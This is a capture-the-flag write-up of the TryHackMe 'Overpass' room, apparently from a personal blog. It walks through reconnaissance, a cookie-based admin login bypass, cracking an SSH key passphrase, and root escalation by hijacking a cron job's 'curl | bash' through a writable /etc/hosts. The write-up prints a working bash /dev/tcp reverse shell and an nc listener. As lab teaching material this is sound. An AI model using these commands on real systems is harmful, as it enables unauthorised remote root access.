Overpass
In this post, we will look into the room “Overpass” from TryHackMe, which can be found on https://tryhackme.com
Information Gathering
We have a website to play with, so while I poke around in my browser, I spin up gobuster in the background to see if anything interesting turns up.
catsec@kali:/# gobuster --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir -u $ip
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://{overpass's machine ip}
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/07/20 23:52:57 Starting gobuster
===============================================================
/img (Status: 301)
/downloads (Status: 301)
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/http%3A%2F%2Fwww (Status: 301)
/http%3A%2F%2Fyoutube (Status: 301)
/http%3A%2F%2Fblogs (Status: 301)
/http%3A%2F%2Fblog (Status: 301)
/**http%3A%2F%2Fwww (Status: 301)
Most of what it finds are artifacts, but the important find is the /admin route.
I also spun up nmap to scan the machine.
catsec@kali:/# nmap -sC -sV -T4 -v -o nmap.log $ip
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
| 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-favicon: Unknown favicon MD5: 0D4315E5A0B066CEFD5B216C8362564B
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap only tells us that we have an ssh server and an http server, powered by golang.
Loading the admin page gives me a login screen, and on submitting a test username and password I can see that it made a call to /api/login. After poking this a bit I rule out sqlinjection as an attack vector.
Submitting the login request didn't reload the page though, so now to read through javascript. Page source tells me there is a /login.js file to investigate. There is a nice little section about dealing with the login attempt:
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
Reading that, I can see that if the server returned with something other than "Incorrect Credentials", it sets a cookie and rediercts to the admin page. Hmm.. maybe it doesn't actually care what that cookie is! I try loading the admin page with a that "SessionToken" cookie set.
curl -L -b "SessionToken=letmein" $ip/admin/
Interesting - looks like the server doesn't actually care what's in that cookie, just that it exists! This page loads up an ssh private key. I save it to a file.
Attempting User Access
After moving the key into my VM's ~/.ssh/id_rsa
file and changing the permissions to 600 (chmod 600 ~/.ssh/id_rsa
) I try logging in to the server through ssh.
catsec@kali:~# ssh james@$ip
Enter passphrase for key '/root/.ssh/id_rsa':
Well, looks like there is a passphrase to deal with. No biggie - the admin webpage did mention cracking it. To JohnTheRipper!
Cracking Passphrase
First we need to convert the id_rsa into a hash that john likes. There is a utility ssh3john that does this for us, but my vm didn't have that, so I grabbed the johntheripper repo from github.
git clone https://github.com/magnumripper/JohnTheRipper
Now I have the python script I need.
chmod 666 ~/.ssh/id_rsa
python JohnTheRipper/run/ssh3john.py ~/.ssh/id_rsa > id_rsa.hash
chmod 600 ~/.ssh/id_rsa
Now that we've got a nice hash to use, let's get cracking
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Alright now we've got the passphrase!
Capturing User Flag
We ssh again, now armed with out passphrase.
catsec@kali:~# ssh james@$ip
Enter passphrase for key '/root/.ssh/id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Jul 21 22:46:07 UTC 2020
System load: 0.0 Processes: 88
Usage of /: 22.9% of 18.57GB Users logged in: 0
Memory usage: 15% IP address for eth0: 10.10.148.232
Swap usage: 0%
47 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jul 21 22:20:53 2020 from 10.1.69.107
james@overpass-prod:~$ whoami
james
james@overpass-prod:~$ ls
todo.txt user.txt
Woot - Flag Captured!
Enumerating
crontab
one thing was interesting about crontab for the system:
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
It is set to make a curl to download a buildscript, and then running that as root. If I can inject my own bash script here, I can easily get a root reverse shell. Looks like it's accessing a URL, overpass.thm. If I can edit /etc/hosts, then I can make that url point to my attacker server!
james@overpass-prod:~$ ls -la /etc/hosts
-rw-rw-rw- 1 root root 250 Jul 21 23:18 /etc/hosts
Yup, my user can edit that! So all I need to do is write a bash reverse shell script, name it properly, host it, and then wait for the connection.
Exploiting
reverse shell script
Back on my attacker machine, I set up a directory structure like they have:
cd ~
mkdir -p www/downloads/src
Then I create a "buildscript.sh" in this folder
#!/bin/bash
bash -i >& /dev/tcp/{My Machine's IP}/4444 0>&1
hosting attack script
Using Python to keep this simple.
catsec@kali:~# cd ~/www
catsec@kali:~/www# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
then in another console: (or tmux pane for the cool kids)
netcat listener
catsec@kali:~# nc -lvnp 4444
listening on [any] 4444 ...
manipulating /etc/hosts
Logging back on as James, I edit /etc/hosts
vi /etc/hosts
I see the items in the host file:
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.1.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Now I only have to replace the IP for overpass.thm with my attacker machine IP, and save
Now it's only a matter of waiting for a minute for the cron job to catch the script, you will see the python server display a message that there was a connection:
{victim IP} - - [21/Jul/2020 01:21:13] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
And momentarily later, the netcat listener perks up:
connect to [{My Machine's IP}] from (UNKNOWN) [{victim IP}] 60972
bash: cannot set terminal process group (22324): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# whoami
root
We have root!
Capturing root
Now with our root user, we just have to scoop up the flag.
root@overpass-prod:~# cat /root/root.txt